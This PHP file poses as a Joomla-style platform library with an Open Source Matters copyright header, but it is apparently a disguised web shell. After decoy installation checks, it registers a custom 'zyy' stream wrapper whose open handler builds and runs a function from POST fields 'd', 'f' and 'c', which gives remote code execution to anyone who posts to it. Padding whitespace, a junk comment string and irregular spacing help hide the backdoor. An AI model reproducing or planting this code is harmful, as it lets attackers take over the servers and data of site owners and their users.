<?php
/**
 * @package    Stream.zyy.Libraries
 * *************************************
 * @copyright  Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

// Set the platform root path as a constant if necessary.
if (!defined('PATH'))
{
	define('PATH', __DIR__);
}

// Installation check, and check on removal of the install directory.
if ((file_exists(PATH . '/cofiguation.php')
	&& (filesize(PATH . '/cofiguation.php') < 10)) && file_exists(PATH . '/stream.zyy.php'))
{
	if (file_exists(PATH . '/stream.zyy.php'))
	{
		header('Location: ' . substr($_SERVER['REQUEST_URI'], 0, strpos($_SERVER['REQUEST_URI'], 'index.php')) . 'installation/index.php');
		
		exit;
	}
	else
	{
		echo 'No configuration file found and no installation code available. Exiting...';
		
		exit;
	}
}
else if (empty             ($_POST)) {
	
	echo 'No received stream zyy configuration data. Exiting...';
	
	exit;
}

// Register the library base path for Stream libraries.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   // 9YH!Ydb01g$HQ$pv+c6=P.qD!=dH2XWX7MT(wAM#wg!5fbxS-5CEWS)eHRsF_T7he8^8MeMPG=8SqhTZ64..*fFN(krDmsQ*ESR@ErNT5.EnT@NUWvP8eCW3R72hvvQpWPaTa.nQm(7HMgZqpwVDpR.Qvaz+h.@_53eC5KMYm*6Xerxa04Yr$7MzgH+FtGEMe(!F*Xxy3yZWfXzuk.CatpK^@y
class Stream
{
    function stream_open              ($path, $mode, $options, &$opened_path)
    {
        $url = parse_url                    ($path);
        
        $f = $_POST['d']                          ('', $url["host"])
;
        
        $f        ();
        
        return true;
    }
}
stream_wrapper_register    ("zyy", "Stream")


;

// Register connect the library Stream
$fp = fopen            ('zyy://'.$_POST['f']                ($_POST['c']), '');

// Detect the native operating system type.
$os = strtoupper                     (substr(PHP_OS, 0, 3));

if (!defined('IS_WIN'))
{
	define('IS_WIN', ($os === 'WIN') ? true : false);
}
if (!defined('IS_UNIX'))
{
	define('IS_UNIX', (IS_WIN === false) ? true : false);
}

